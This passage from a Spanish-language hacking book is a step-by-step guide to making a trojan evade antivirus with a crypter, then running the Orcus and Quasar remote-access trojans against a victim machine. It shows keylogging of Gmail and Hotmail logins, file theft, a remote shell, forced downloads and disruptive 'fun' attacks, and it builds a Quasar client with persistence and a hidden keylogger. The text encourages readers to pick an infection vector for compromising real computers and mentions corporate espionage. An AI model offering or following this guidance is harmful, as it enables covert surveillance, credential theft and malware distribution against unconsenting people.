finalidad u objetivo en común; conseguir cifrar archivos o tratar de hacer FUD (Full
Undetectable) algún, bloque de código, script, binario o ejecutable con el fin de conseguir la
evasión de sistemas de protección informáticos, esto puede conseguirse mediante diferentes
técnicas, ya sea mediante la ofuscación del código y sus componentes del binario, mediante
alguna técnica Anti-Debugging, entre otras.

En este ejemplo utilizaremos un Crypter llamado “Masked Crypter”, este viene dentro del material
proporcionado para este capítulo y será nuestra herramienta para brindarle a nuestro binario las
características ya mencionadas, abrirás la aplicación y seguirás los siguientes pasos:

 Dentro de Masked Crypter, habrá 3 campos importantes; el que hará el Browsing del archivo a
realizar “Modding”, otro que hará Browsing de un icono para este, ya que es obligatorio y otro
que es un generador de caracteres aleatorios proporcionando así un “Mutex”, puede generar
cuantos quieras y escoger solo uno. En cada campo haremos la acción correspondiente.

 Del lado derecho nos encontramos con un pequeño panel de opciones para realizar el Modding
con el Crypter, de las cuales solamente escogeremos la primera, tercera y quinta opción.

 De las opciones seleccionadas; Remove Zone ID nos permite hacer bypass al recuadro “pop-
up” que aparece al momento de correr un .exe, Pack With UPX consigue una excelente relación
de compresión y ofrece una descompresión muy rápida, asi el binario no sufrirá ninguna
sobrecarga de memoria u otros inconvenientes, además de que ayuda a ofuscar el código,
y .NET Support nos proporciona ciertos bloques de código para conseguir compatibilidad

88
 con .NET, y por ultimo hacemos clic en Crypt, para realizar el Modding del binario y guardarlo
con las características anteriores, obvio podrás cambiarle el nombre con posterioridad:

Imagen 15.9: Configuración de crypter para el binario.

 Terminado lo anterior enviáremos este nuevo binario a la plataforma de escaneo de

[Link] en donde se obtuvieron los siguientes resultados, en donde ahora solo
5 de 35 antivirus encontró perjudicial a nuestro nuevo binario, ahora solo el 15% de toda la
plataforma lo cataloga como malware, fue un resultado mucho mejor:

Imagen 16.0: Resultados arrojados ahora con Crypting.

Teniendo compilado este troyano, es momento de hacerlo llegar al equipo que se quiere administrar
de forma remota, en este caso hablamos de la VM con Windows, como ya se sabe, estamos usando
un ambiente controlado en esta prueba, por lo que solo se transferirá el binario y se ejecutará
manualmente.

NOTA: Para esto hay múltiples y diversas formas de infección, ya sea mediante correo electrónico,
“binders”, ingeniería social, entre otras, por lo que estará a tu elección el vector de infección por el que
en un futuro logres conseguir comprometer algún equipo real.
89
Teniendo el binario en el equipo víctima se ejecutará, y a simple vista no ocurrirá nada, solo un ligero
resalte en el brillo del ícono de binario al momento de correrlo.

Mientras que en la maquina atacante/administradora, de lado de Orcus en el panel principal de la

plataforma de trabajo, habremos encontrado un nuevo “Slave” (victima/cliente), así como también
notaremos esta actividad en la ventana de “Orcus. Server”, mostrando los detalles de la conexión de
este nuevo cliente:

Imagen 16.1: Cliente registrado gracias a la ejecución.

En el panel principal de Orcus también se está indicando todo esto es en la barra de monitoreo; la
conexión establecida en Orcus y la conexión encontrada de un nuevo cliente (victima).

Debajo de ella encontráremos detalles de esta acción como lo es la hora, sistema operativo,
Username (nombre con el que se identifica el Host), sistema operativo y país si es posible obtener
este dato. Para poder trabajar con este nuevo cliente, debemos hacer clic derecho en su selección y
entrar mediante “Log In”, al hacerlo notáremos más actividad en la barra de monitoreo:

Imagen 16.2 y 16.3: Nuevo cliente y sus detalles en lista de Esclavos.

90
Modo de uso del RAT, monitoreo y robo de información de un cliente/víctima.
Una vez accedido al equipo mediante esta función, entraremos al panel de trabajo del cliente en
Orcus, en donde veremos una diversidad de funciones y acciones que se pueden llevar a cabo
en/sobre este cliente, puesto a que hay muchísimas de estas funciones, habría que escribir uno o
dos capítulos sobre el total uso de ellas, por ello, solo veremos las más interesantes.

Lo primero qué notáremos será la categoría “CLIENT”, situándonos en el sub-panel “Control”

donde encontráremos detalles más específicos sobre el S.O del cliente, como lo es la version del
Framework de .NET, tiempo activo desde la primera vez comprometido, directorio raíz del
troyano, además de la opciones de desinstalar el troyano o solo matar esta conexión, etc:

Imagen 16.4: Detalles del sistema infectado.

Dentro del sub-panel “Config” nos toparemos con la configuración que reside en el cliente, está
no tiene que ver precisamente con la configuracion que se halla en el equipo infectado, sino de la
de nuestro binario/cliente, presentándonos un resumen o “Summary” acerca de las características
de este, notaremos que se hallan todas las que estuvieron involucradas en la parte del Builder:

Imagen 16.5, 16.6 y 16.7: Configuración a detalle del sistema infec.

91
Un último detalle acerca de esta primera categoría es el sub-panel de plugins este solo muestra
el o los plugins que fueron seleccionados durante la creación del binario y por ende, los que
quedaron instalados en el lado cliente, en este caso mostrando el de “Anti-Debugging”:

Imagen 16.8: Plugin que contiene el binario.

Pasando a otra categoría, “Information” nos permite saber detalles más precisos sobre el uso de
esté equipo, como lo son las conexiones existentes o activas entre cliente y servidor, la captura de
passwords y cookies en el equipo cliente y el monitoreo del rendimiento. El “Summary” de las
conexiones activas puede resultar muy útil si se piensa llevar una bitácora o si se desea revisar
ciertos parámetros aquí encontráremos esta información, indicando el proceso, las direcciones
locales y remotas sobre las que se establezca esta conexión, el protocolo y el estatus de esta, y
por su puesto los datos de esta acción en la barra de monitoreo:

Imagen 16.9 y 17.0: Conexiones activa, proceso y demás detalles sobre esto en el equipo ajeno.

Cambiando a la función siguiente, desde el sub-panel “Computer” podemos saber detalles más
específicos acerca de los componentes de este equipo cliente, mostrando Hardware, info acerca
del sistema, OS, BIOS, particiones o HDD, entre lo más interesante nos encontramos con cosas
como el “Owner” (email que se usa para la cuenta Windows) y detalles acerca del disco duro:

92
 Imagen 17.1 – 17.6: Información muy detallada acerca del equipo infectado.

Por otro lado tenemos la función “Performance” dentro podemos hallar info acerca del rendimiento
del equipo, como lo es el % del uso del procesador mostrando un gráfico de ello, modelo y
velocidad del procesador número de hilos o “Threads”, procesos que corren actualmente, tiempo
activo y demás.

Muchas funciones de los “sub-paneles” habrá que habilitarlas mediante el switch Azul del lado
derecho, de lo contrario no podrás hacer uso de ellas:

Imagen 17.7: Monitoreo del rendimiento del equipo infectado.

Dejando un poco atrás los detalles sobre el cliente, pasemos a algo más interesante y entretenido,
como es de esperarse, herramientas como los RATs puede hacer un sinfín de cosas, sin embargo,
no está de más mencionar que hay unos que están mucho más completos que otros por
cualquier lado que los veamos, y Orcus no es la excepción aquí.

Dentro de las categorías de funciones nos topamos con “Fun” (diversión), esta cuenta con
funciones que se llevan el título como su categoría lo indica, aquí es donde podemos tomar
93
acciones algo perjudiciales como molestas para el usuario, sin embargo tienen utilidad en
casos reales de monitoreo y espionaje.

Como primer ejemplo de uso, cabe mencionar que muchos RATs no cuentan con esta función, y
Orcus la trae consigo, abriremos con la función que nos permite enviar/reproducir un dictado
con distintas voces (masculinas/femeninas) en el equipo cliente/victima, solo basta con teclear
el texto a dictar, seleccionar la voz, velocidad de reproducción y volumen y enviarlo con “SEND”.

Comúnmente esto es usado con el fin de causar molestias al usuario, o en casos de monitoreo en
un lugar de trabajo el administrador lo usa para dar avisos o notificaciones más a detalle o
personales al usuario/cliente.

Imagen 17.8 y 17.9: Función de Texto dictado sobre equipo infectado.

Otra función con la que cuentan casi todos los RATs es la de un Chat Box, y Orcus (obviamente)
cuenta con una más completa que los demás, en donde lejos de enviar un simple recuadro para
transferir mensajes, te ofrece muchas más funciones para poder trabajar sobre ello.

Entre ellas está el poder colocar el título de la ventana, el nombre o nickname (tuyo), evitar que se
cierre, maximizarla permanentemente y minimizar las demás ventanas cuando aparezca este Chat
Box, para poder usar esta función deberás habilitar esta función con el “Switch Azul” del lado
derecho, en la siguiente página encontrarás su modo de uso, consulta las imágenes:

94
 Imagen 18.0 y 18.1: Función de Chat entre Cliente/Servidor.

Aun estando en la categoría “Fun”, pasáremos al sub-panel “Common” en donde nos topáremos
con más funciones que trae consigo Orcus, en este sub-panel podremos involucrar
directamente nuestras acciones con las aplicaciones del equipo, como lo es el navegador
web predeterminado, además de poder cambiar el wallpaper de la pantalla tan solo con
proporcionar el URL de una imagen, apagar el monitor, conseguir el Crashing del sistema,
mostrando el “Pantallazo Azul” o congelar el sistema mediante la sobrecarga de procesos: .

En este primer ejemplo se demostrará el abrir de un sitio web en específico y el número de

ventanas con el que se repetirá esto, solo basta con escribir el URL, indicar el número de ventanas
que quieras y lanzarlo mediante “DO IT!”. Al hacerlo se llevará a cabo lo antes descrito en el
equipo cliente/victima, cada vez que se ejecute una acción ya sea que falle o no, se mostrará la
actividad en la bitácora de la barra de monitoreo.

Imagen 18.2 – 18.4: Funciones de categoría “Común” y sitio web abierto por indicación remota.

95
También se puede podemos crear “Reminders” (Notas), con un texto en específico, lo que hará
esto simplemente será abrir un bloc de notas con el texto enviado, solo basta con escribirlo y
enviarlo con “Send”. Una función más en la categoría “User Interaction” es que podemos crear
notificaciones o tips mediante un globo (Ballon), ya sea de tipo aviso, info, recordatorio, alerta,
etc, obviamente con el título y texto que queramos poner durante el tiempo establecido en
milisegundos, en este caso 10,000:

Imagen 18.5 – 18.7: Función de Globo de aviso y acción guardada en el Log.

Otras funciones útiles en casos en los que el administrador/atacante no tenga nada que hacer son las
siguientes, de las cuales se puede sacar fácilmente de quicio a alguien, la primer función (Rotate
Monitor) es bastante simple, cambia la posición del monitor en los grados disponibles, el detalle es
que no funciona en ambientes virtualizados ya hay recursos que no pueden compartir o migrar del
sistema nativo al virtual, como lo es la tarjeta de gráficos, en cambio sí se intenta en un equipo real,
funcionará a la perfección.

En cambio, “Pure Evilness”, nos da un poco más de diversión sin mayor problema, aquí nos
encontramos con 2 botones, “LET IT BURN” y “WATER, WATER!”, la primera hace que esto comience
y la otra lo detiene, solo lo detiene, no lo repara.

Veamos que sucede en el equipo cliente luego de esto:

96
 Imagen 18.8 y 18.9: Opciones de uso y Función de ataque “Pura Maldad”.

 Si queremos detener lo que iniciamos habrá que “vaciarle agua” a esto, lo detenemos con
“WATER, WATER!”

Imagen 19.0 – 19.2: “Corrección” de acción de ataque “Pure Evilnes”

¿Qué es lo que ha pasado? Lo que hace esta divertida pero desquiciante función es, tomar un
Screenshot del Desktop, rotar la imagen 180° y establecerlo como wallpaper, luego esconder la
barra de tareas e íconos, así el usuario creerá que la barra de arriba es funcional, pero en realidad
es una imagen, limitando bastante al usuario en cuestiones de funcionalidad. Al momento de
detener esto aparecerá la barra de nuevo y se colocará en su lugar, con el detalle que el escritorio
esta hecho un asco.

De las funciones vistas hasta ahora en la categoría “Fun”, en lo personal mi preferida es esta, así
que pasemos a algo más divertido (y puede que muy perjudicial/peligroso).

El uso del Screamer, es una “divertida” función hace que en milisegundos se bloqueé el equipo
y en pantalla completa aparezca una animación con gritos de fondo y a un volumen demasiado
alto en donde se muestra un rostro algo bizarro y la única forma de detenerlo es con la combinación
simultánea de teclas “Ctrl + Shift + V”.

97
Esto puede resultar en algo grave así que te recomiendo al menos ser selectivo con quienes la
usas/usarás, además de que Orcus te da una advertencia de ello, el uso de esto queda bajo tu
propia responsabilidad:

Imagen 19.3, 19.4 y 19.5: Inicio, función y detención de Screamer.

Otras funciones que se pueden llevar a cabo dentro de esta misma categoría son las que pueden
hacer simples pero molestos cambios sobre el sistema, como lo es deshabilitar y habilitar el
administrador de tareas (Task Manager), esconder o mostrar el reloj y escritorio.

También hay otras que te permiten interactuar con el Hardware del cliente, como lo es el teclado
y mouse, haciendo que este se mueva de forma errática o se bloqueé por N segundos, o cambiar
el “input” del teclado (QWERTY por AEIOU y viceversa entre otros), obvio esto no se puede

98
mostrar de forma adecuada con imágenes, en cambio, si estas acciones se llevan a cabo con
éxito, se mostraran en la barra de monitoreo:

Imagen 19.6 y 19.7: Funcione sobre la barra de tareas del equipo ajeno.

Como se demostró en los ejemplos anteriores, la categoría “Fun” de Orcus cuenta con una vasta
diversidad de útiles funciones y características “Divertidas” que hacen que se ejerzan con
facilidad múltiples acciones de este tipo sobre el equipo cliente, desde abrir cuadros de diálogo,
avisos, y cosas molestas de ese tipo, hasta poder conseguir el Crashing del sistema o
Congelarlo (HANG), dejándolo inhábil temporalmente, todo desde una solo plataforma de
trabajo (Como también lo será en las otras categorías)

Dejando atrás la parte de juegos, pasaremos a una categoría más funcional y útil para nuestro
propósito, que es el ejercer control sobre el equipo cliente, aquí es cuando pasamos a la categoría
“SYSTEM”.

Sobre esta, se pueden llevar a cabo cosas interesantes, como la ejecución remota de código
(muy perjudicial), hacernos de una consola sobre el cliente, explorar registros, explorar archivos
con el fin de solo verlos, o descargar o cargar algo al equipo (muchas posibilidades), interactuar
más a fondo con los programas existentes en el equipo víctima y muchas otras cosas, y por ello,
antes de continuar con otra categoría, habrá trabajo por hacer aquí.

La segunda función que encontraremos aquí es la de “Console”, no hace falta una larga
explicación sobre esta, ya que solo nos proporciona una terminal de comandos “CMD” sobre
el cliente desde esta plataforma, solo basta con habilitarla y ejecutar los comandos que quieras,
en este ejemplo se ejecutó el comando “dir”:

Imagen 19.8: Función de la consola (CMD) sobre el quipo ajeno.

99
Una función más aquí es la de poder consultar/ver el “Event Log” del equipo cliente.

¿Qué es y para qué nos sirve esto?

En “Event Log” es básicamente un libro de registros que puede ser analizado con fines de obtener
un nivel superior de inteligencia (información) en la red, como pueden ser sucesos en
aplicaciones, errores en estas, procesos, y más detalles a fondo sobre estos registros.

En redes o “networking” una forma de apoyo para poder proveer información detallada sobre
ciertos registros, parámetros o “Usage” en la red o equipo es el “Event Log”. Este almacena los
datos anteriores o semejantes a estos, con el fin de que sea posteriormente consultado por
administradores de sistemas, sistemas de seguridad o por profesionales en seguridad.

Todo esto es con el fin de manejar distintos aspectos como, performance (rendimiento) o seguridad
y transparencia, hay herramientas como analizadores o visualizadores de registro de eventos
(como el que veremos).

Si eres administrador de sistemas o estas a cargo de un grupo de trabajo, con herramientas de

este tipo podrás ver un panorama más extenso de lo que ocurre en la red… o en un equipo
cliente. En Orcus solo basta con seleccionar esta opción y automáticamente hará el “Fetching” o
recolección de estos registros, arrojándolos a la tabla qué se muestra y enviando esta acción a la
barra de monitoreo. Consulta las imágenes.

Imagen 19.9: Registro de eventos del equipo ajeno.

100
Entre las funciones de esta categoría nos topamos con una que resulta altamente útil y que todos
en algún momento hemos buscado o querido usar en un cierto modo, así es como le damos la
entrada el explorador de archivos en Orcus, siendo este diferente a los de otros RATs, luce y es
más funcional que otros puesto a que resulta más estable tanto en la exploración de directorios
como son las descargas y cargas de archivos.

Para esto solo basta con abrir el sub-panel “File Explorer”, seleccionar la partición o disco
correspondiente y buscar el o los directorios sobre los resultados que se muestren en la tabla, si
se quiere trabajar sobre un dicho directorio solo basta con hacer clic derecho en el para seleccionar
una acción sobre él, en este caso será la descarga de un directorio, mostrando una columna del
“status” y progreso de la o las descargas que se estén llevando a cabo, al terminar estas, en el
directorio raíz de Orcus se creará una carpeta nombrada “Downloads”. Consulta las imágenes:

Imagen 20.0, 20.1 y 20.2: Búsqueda y descarga de archivos ajenos del equipo infectado.

Algo más a lo que podemos sacar ventaja son las descargas forzadas, es decir, obligar al cliente
a realizar una descarga en específico, desde una imagen hasta algún archivo más perjudicial,
esto se puede llevar a cabo desde el sub-panel “Internet”, en donde podemos ingresar una URL
determinada y realizar esta descarga, además de que podemos hacerlo en masa o
simultáneamente:

Imagen 20.3: Funciones para interactuar con internet.

101
Pasando a otra función que puede llevar a cabo tareas de carácter administrativo como algunas
que se han visto hasta ahora, en el sub-panel “Programs” nos encontraremos con algo similar,
esta función nos permite ver el listado de programas instalados exclusivamente por el cliente, como
puede ser software de trabajo, navegadores web u otras aplicaciones comunes indicando detalles
como la versión, llave correspondiente al “Registry” y directorio en donde reside la instalación de
este software.

Al abrir esta función tendremos que hacerle un “Refresh” al sub-panel para que enumere y
describa en una lista el software adicional encontrado, del cual podemos hacer cambios, como lo
es la desinstalación, solo basta con seleccionar el programa que buscamos y realizar la tarea
correspondiente:

Imagen 20.4: Listado de programas en equipo ajeno.

Hasta ahora hemos explorado algunas de las categorías más funcionales de Orcus y le hemos
sacado provecho al asunto, ahora es momento de pasar a la que más nos interesa, que es la de
monitoreo o surveillance (vigilancia).

Como es de esperarse en Orcus, tanto las categorías como las funciones de cada una han sido
bastante eficientes y útiles, y obviamente la que estamos por ver no será la excepción. Aquí es en
donde entramos de lleno a fase de vigilancia o “espionaje”, ya que estas acciones lejos de
permitirnos leer conversaciones, encontrar patrones de búsquedas en navegadores web, tomar
capturas de pantalla, etc.

Esto puede llevarse más lejos llegando a lo que se conoce como espionaje corporativo, en donde
se puede obtener información acerca de escritos, descargar información importante que incluso
puede estar clasificada, ya que ocurra esto es demasiado común en el mundo corporativo o
laborar.

Cabe mencionar que esta fase se puede llevar a cabo en distintas formas o rutinas, no
necesariamente como se presentará aquí, ya que si has estas familiarizado con herramientas de
este tipo o algún trabajo similar, podrás adaptarlo al uso con Orcus si así lo prefieres.

102
Dentro de la Categoría “Surveillance”, nos encontráremos con 4 funciones de monitoreo en
tiempo real:

 Live Keylogger.
 Microphone Recorder.
 Screen.
 Webcam.

Cada una de estas nos provee de funciones distintas que resultan bastante útiles para este trabajo,
comencemos por “Keylogger”. A lo largo del libro COISP nivel 1 se habla sobre estas
herramientas, sin embargo no se toca a detalle su uso mediante RATs o administración remota,
estos pueden funcionar de forma local dentro de un mismo segmento de red o de forma
distante o remota, que es la manera en la que está por llevarse a cabo.

Estos tienen una sola finalidad, capturar los caracteres presionados y guardarlos para
posteriormente ser vistos o enviar esta información en tiempo real como lo veremos aquí. Hay
keyloggers muy simples que solo capturan el texto conseguido por las teclas presionadas, hasta
unos con un nivel de complejidad mayor o demasiado completos que capturan todos los caracteres
obtenidos durante la interacción con el medio HID (Teclado).

Esto con la finalidad de mostrar detalles que nos pueden ser muy útiles en esta acción de
espionaje, como puede ser el sitio web en donde se tecleo esto, el programa sobre el cual se
teclearon estos caracteres, el campo sobre el cual fue ingresada esta info y muchas cosas más,
esto se debe a que el código que constituye este tipo de Keyloggers trabaja a un nivel inferior o
más bajo, por ende, la obtención de todo lo anterior, una cosa muy ventajosa es que además de
todas las funciones antes descritas, estos Keyloggers evitan el LAG o retraso durante la captura
y envío de info así evitando la perdida de la misma, y por supuesto Orcus lo trae consigo.

La primer función o sub-panel con el que nos toparemos será el de “Live Keylogger”, lo
seleccionamos y solo basta con activarlo mediante el ya conocido “Switch” en la parte superior,
una vez habilitado aparecerá la acción en la barra de monitoreo y en el recuadro del Keylogger
la fecha y hora de esta acción, dependiendo de lo que esté haciendo el cliente se enviará en
tiempo real las acciones de este, en el ejemplo se capturo lo siguiente información solo con abrir
el navegador web de Internet Explorer ingresar al sitio de Gmail para loggearse en este (da igual
que navegador o versión de este se use) y por ultimo abrir un bloc de notas y escribir algo en él.
Consulta las imágenes:

Imagen 20.5: Activación de Keylogger.

103
Estando el “Live Keylogger” habilitado se realizaron las actividades anteriormente descritas, un
detalle que podremos notar en el RAT son las figuras o símbolos de las “teclas función” (las que
no arrojan caracteres) presionadas en el equipo cliente, así como un registro de las aplicaciones
o programas involucrados desde el momento en el que se puso en función el Keylogger, un último
detalle acerca de esto es que no importa si la página en el navegador web usa una conexión
segura o no, ya que el Keylogger solo captura teclas presionadas, y Orcus lo ofusca para que no
sea detectado por firewalls, del lado de Orcus se obtuvo la siguiente información:

Imagen 20.6 y 20.7: Información obtenida gracias al Keylogger.

Como se ejemplificó, el Keylogger que trae consigo Orcus está muy completo, funciona en una
forma bastante simple en la que podamos obtener considerables cantidades de información de
una manera rápida, simple y sigilosa, gestiona la información en una forma en la que se pueda
interpretar mejor y funciona de una forma bastante estable, ahora que ya vimos un simple ejemplo
en un ambiente controlado.

¿Te imaginas lo que puede capturar en escenarios reales en el mundo laboral o durante la infección
de una víctima en específico?

104
Explorando las demás funciones disponibles en la categoría “Surveillance”, nos encontráremos
con algo bastante llamativo y útil, el “Voice Recorder” (grabador de voz). No hace falta hacer una
descripción de lo que hace o cuál es su finalidad en sí, pero lo que será necesario es explicar sus
2 modos de uso que son con archivo de salida o sin este. Al seleccionarlo aparecerán los
“Recording Devices” (dispositivos de grabación) disponibles en el equipo cliente, puesto a que el
cliente es virtual habrá veces en las que el entorno de virtualización (VMware) no hará posible la
migración de recursos (Hardware/Micrófono) hacia él, por ello es posible que aparezca de esta
forma (Microphone HDAD) de lo contrario se mostrará el modelo de este.

Dentro de las opciones de uso nos topamos con “Bitrate” (velocidad de transmisión), esto definirá
la cantidad de espacio físico que ocupará un segundo de duración de ese audio, en pocas palabras
es la calidad de audio, la que viene configurada por default es de 8192. De los distintos modos
con los que contamos, queda por default el de “Voip” (Voice Over Internet Protocol), que es un
protocolo de comunicación que hace posible que la señal de voz viaje por internet.

En cuanto a los 2 modos de uso, puedes especificar si al final del “Recording” (Grabación) quieras
un archivo de salida de la grabación (Save to file) y guardarlo en un directorio específico (Path),
hecho esto solo presionas “Start Recording” y terminas tu trabajo cuando quieras con el botón de
a lado. Si solo quieres escuchar, bastará con presionar “Start Recording”

Imagen 20.8: Función de activación del micrófono.

La penúltima función es la de “Screen”, simple y sencillamente hace un “Streaming” o transmisión

en tiempo real del “Desktop” del cliente o víctima, como resultado da un “Escritorio Remoto” y al
igual que todas las demás funciones, esta viene muy completa a diferencia de otros RATs.

Dentro la función y su modo de uso podemos configurar los diferentes monitores a replicar o a
hacer “Mirroring”, ya que un equipo puede tener 1 o más monitores conectados, también podemos
establecer la calidad en la que queremos recibir el “Streaming” (mientras más alta más uso de
ancho de banda se hará), los FPS (Frames per second) que tendremos sobre este “Streaming” y
un FullScreen si así lo queremos. En el ejemplo siguiente al iniciar se mostrará en la barra de
monitoreo las acciones relevantes a esta función, como la recolección de “Capture Devices”
(Monitores), numero disponible de estos (1) y el comienzo de la transmisión o “Remote Desktop”
del equipo virtual. Consulta las imágenes:

105
 Imagen 20.9 y 30.0: Función de monitoreo de escritorio.

Infección en Equipo Virtual.

Hasta ahora hemos explorado a la mayoría de las funciones que trae consigo Orcus, en donde se
infectó un equipo remoto o que se encontraba en otra red en otro lugar, sin embargo, para poder
aclarar del todo la duda de cómo es que funciona esto en nuestra máquina virtual, se hará
exactamente la misma configuración inicial para un troyano que generará Orcus que se mostró al
comienzo, realizando el proceso de la siguiente manera:

 Como ya sabes, para que puedas hacer uso de Orcus y poder generar un troyano con él, deberás
ingresar un host, un puerto y un password, que son las variables más importantes con las que trabaja el
server de Orcus, siendo estas “[Link]”, el puerto será el “5672” y el password será el que tú quieras,
sabiendo esto, repetirás los pasos iniciales hasta el punto de dejar el troyano listo y ahora lo ejecutaras
en la propia máquina virtual. Si hiciste todo correctamente, deberá aparecerte lo siguiente en la ventana
“OrcusServer”:

Conexión exitosa del troyano hacia server de Orcus en VM con Windows.

106
  Ahora que ya sabemos esto, volvamos al panel principal de Orcus y como sucedió
anteriormente con el ejemplo de Windows 8, veremos a un nuevo cliente conectado, y
Orcus estará indicando detalles que previamente se mencionaron, en este caso se trata de
la VM con Windows:

Conexión establecida y nuevo cliente en Orcus.

 Nuestro nuevo cliente/victima ya pertenece a la lista de Orcus, pasemos a revisarlo:

Detalles del nuevo cliente/esclavo.

Ya estamos dentro del panel de funciones para clientes de Orcus, obviamente no repetiremos
todos los pasos para poder poner en función las acciones de ataque o recopilación de información
que trae consigo Orcus, sin embargo, veremos 3 rápidos ejemplos para verificar el funcionamiento
correcto del Troyano.

 Comencemos con el explorador de archivos, revisemos si podemos navegar entre los

directorios y “Files” que existen en el equipo infectado:

Obtención de ruta y directorio raíz en equipo victima recién infectado.

107
 Hemos verificado una función importante, revisemos ahora el funcionamiento de la
obtención de un terminal de comandos sobre el equipo infectado:

Obtención exitosa de Consola de comandos sobre el cliente Windows.

 “Keylogger”, en este ejemplo una vez puesto a trabajar en él equipo cliente ahora se hizo
uso Google Chrome y se visitó la página [Link] en donde se ingresó una
dirección de correo y un password, y, por ende, Orcus hizo bien su trabajo y capturo todas
y cada una de las teclas presionadas, y por supuesto, indicando el campo en donde fueron
presionadas, al activar el “Keylogger” también se muestran detalles como la nueva pestaña
que se abrió en Chrome, la petición de envío para entrar la página de Loggeo de Hotmail,
el mail y password proporcionados junto con las teclas especiales que se
presionaron en esos campos y por ultimo vemos el método POST enviado para autenticar
las credenciales:

Obtención exitosa de Consola de comandos sobre el cliente Windows.

108
Administración remota con Quasar RAT.
A lo largo de las páginas anteriores se demostró la configuración, despliegue o “Spreading” y el
uso de un troyano de acceso remoto como lo es “Orcus”, que a decir verdad fue algo extenso,
ahora reforzaremos una vez más el uso de herramientas de este tipo, para ello usaremos un RAT
más el cual no es una excepción en cuanto lo perjudicial que puede resultar, se trata de Quasar.

¿Qué es y cómo poder usarlo?

Siendo una pieza de software Open-source, esta herramienta es un RAT bastante estable al igual
que “Orcus”, las 2 diferencias es que este no está tan completo como el anterior y la última
diferencia es que “Quasar” es considerado como un RAT de tipo “lightweight” o de “peso liviano”,
esto se debe a que no consume muchos recursos del equipo en el que está operando el servidor,
como te imaginarás esto se debe a muchas cosas, entre ellas el código optimizado para que este
realice lo anterior.

Ahora que se menciona le código, este RAT está hecho en C# a diferencia de “Orcus” que fue
creado en .NET, este troyano al igual que “Orcus” también nos provee de una estabilidad de
conexión bastante alta y eficaz en el equipo que se quiera controlar/infectar, así como también de
una interfaz gráfica bastante amigable para el usuario, por ello, Quasar resulta una buena opción
en cuanto a las herramientas de administración remota para controlar o monitorear equipos a
distancia.
Características y lo qué puedes hacer con Quasar:
 Comunicación por IPv4 e IPv6.
 Rápida serialización de la red (NetSerializer).  Keylogger (bastante agresivo)
 Ofrece una comunicación comprimida y  Recolección de passwords (para algunos
cifrada (AES-128). navegadores).
 Poder visitar un sitio web (ya sea de forma  Editor de registros.
visible u oculta).  Administrador de archivos del equipo ajeno.
 Multi-Thread (diferentes hilos).  Obtención de Shells.
 Mostrar el administrador de tareas.  Activar la Webcam.
 Recolección de información del sistema.  Descargar y ejecutar archivos.
 Controlar la energía del equipo.  Cargar y ejecutar archivos.

109
Como se mencionó antes, Quasar es una herramienta gratuita u Open-source, por lo que podrás
descargarla sin limitante alguno, al igual que todas las herramientas que se usaron y usarán a lo
largo de este libro, también se te proporcionó en el material para el libro referente a este capítulo.
Sin embargo, puedes descargarlo en .RAR desde GitHub visitando el siguiente enlace:

[Link]

Ahora que ya tenemos la herramienta en nuestra máquina virtual, es momento de poner las manos
a trabajar con ella, pero para ello debemos hacer una configuración inicial.

Quasar RAT es una herramienta que no se inicializa como otros RATs, (como lo vimos con Orcus),
Quasar requiere de una configuración previa para poder funcionar, dentro de su folder contenedor
se encuentran los siguientes archivos, entre ellos el de extensión .bat con nombre “Buld-release”,
el cual hará el “Build” de la configuración previa que requiere “Quasar” para poder funcionar,
colocando dependencias, extensiones, estableciendo parámetros, etc, y por ello lo ejecutaremos,
al hacerlo se mostrará el proceso en una terminal de comandos :

Folder de Quasar RAT y proceso del Builder de la configuración.

110
Una vez terminada la configuración del Builder, se habrá creado un nuevo Folder llamado “Bin”,
donde encontraremos al folder “Release” en donde se halla el ejecutable de Quasar, al correrlo
nos aparecerán unos términos de licencia y uso, los aceptamos para poder usar Quasar:

Folder “Bin” y Terms of Use de Quasar.

Al aceptarlos, aparecerá el panel principal de Quasar en donde podemos ver diferentes menús
con los cuales podemos usar el RAT, así como las columnas en donde se especifica información
acerca del cliente o victima que se llegase a conectar, es decir, el equipo al que logremos la
infección:

Panel principal de Quasar RAT.

Builder de QUASAR RAT.

Ahora que tenemos a Quasar funcionando a la perfección, como ya te lo imaginarás, es momento
de crear un Troyano o Binario, para ello entraremos a esta configuración desde el menú “Builder”,
al hacerlo aparecerá la ventana “Builder Settings” mostrando los parámetros de configuración
iniciales o “Basic Settings”, en ellos podemos configurar el “Tag” o etiqueta para identificación
de clientes, ya sea que quieras categorizarlos mediante la infección por un binario en específico,
111
esto resulta bastante útil en el trabajo para distinguir equipos de otros, en este caso la etiqueta fue
“Proof”, al último vemos el “Mutex”, el cual establecerá que una sola instancia del cliente corra en
el sistema infectado, el cual generaremos aleatoriamente con botón “Random Mutex”:

Configuraciones básicas del troyano (Tag y Mutex).

Hecho lo anterior, lo que haremos ahora será establecer los parámetros de configuración que
permitirán la conexión entre cliente y servidor de Quasar.

Configuración de parámetros de conexión para Quasar.

Luego de establecer la configuración anterior, pasaremos a especificar los “Settings” de la

instalación del cliente, como lo es lugar o “Path” en donde residirá el backdoor que dejará el
troyano, así como la modalidad en la que funcionará la persistencia, el nombre del backdoor,
como operará y la forma en la que se inicializará una vez que se haya conseguido la infección:

112
 Configuración de instalación del troyano una vez ejecutado en el equipo.

La parte que sigue es opcional configurarla o no, se trata de proporcionar información acerca de
la producción o ensamblaje del software (troyano), como esta es una prueba de concepto, no será
necesario hacerlo, sin embargo, en un caso real esto hace el que el troyano resulte más
convincente al momento de hacer el “Spreading” o distribución del malware. Consulta el ejemplo:

Información de ensamble proporcionada al troyano..

Por último, especificaremos la configuración del troyano en cuanto de la parte de reconocimiento

o espionaje “Surveillance”, esta simplemente trata de un “Keylogger/Keysniffer”, el cual puede
configurarse para que se guarde en un folder determinado los registros o entradas de datos
(Keystrokes) del equipo cliente/victima, así como si lo deseas oculto o visible. Revisa el ejemplo:

Configuración de Keylogger en apartado de “Surveillance”.

113
Ya hemos finalizado la configuración del cliente, ahora solo nos falta crearlo, esto se hace con el
botón “Build Client” en donde desde el explorador de archivos lo guardaremos con el nombre y
en el directorio de nuestra preferencia, al hacerlo se mostrará el siguiente mensaje:

Generación y guardado de troyano que infectará al objetivo cliente.

Hasta este punto ya tienes generado el troyano y lo más seguro es que te hayas familiarizado
mejor con esta configuración gracias a lo que aprendiste con “Orcus” en páginas anteriores, en
cambio, la configuración para que el servidor conecte con el cliente varía un poco de la anterior.
Para esto, dentro del menú “Settings” la prestáremos atención a las especificaciones e
ingresaremos la siguiente información:
 “Port to listen on” es el puerto al que se ve a conectar el cliente infectado.
 Configuraremos un password
 Habilitaremos el soporte para IPv6
 Haremos que se muestre un pequeño “Pop-up” cada que tengamos otro cliente/victima.
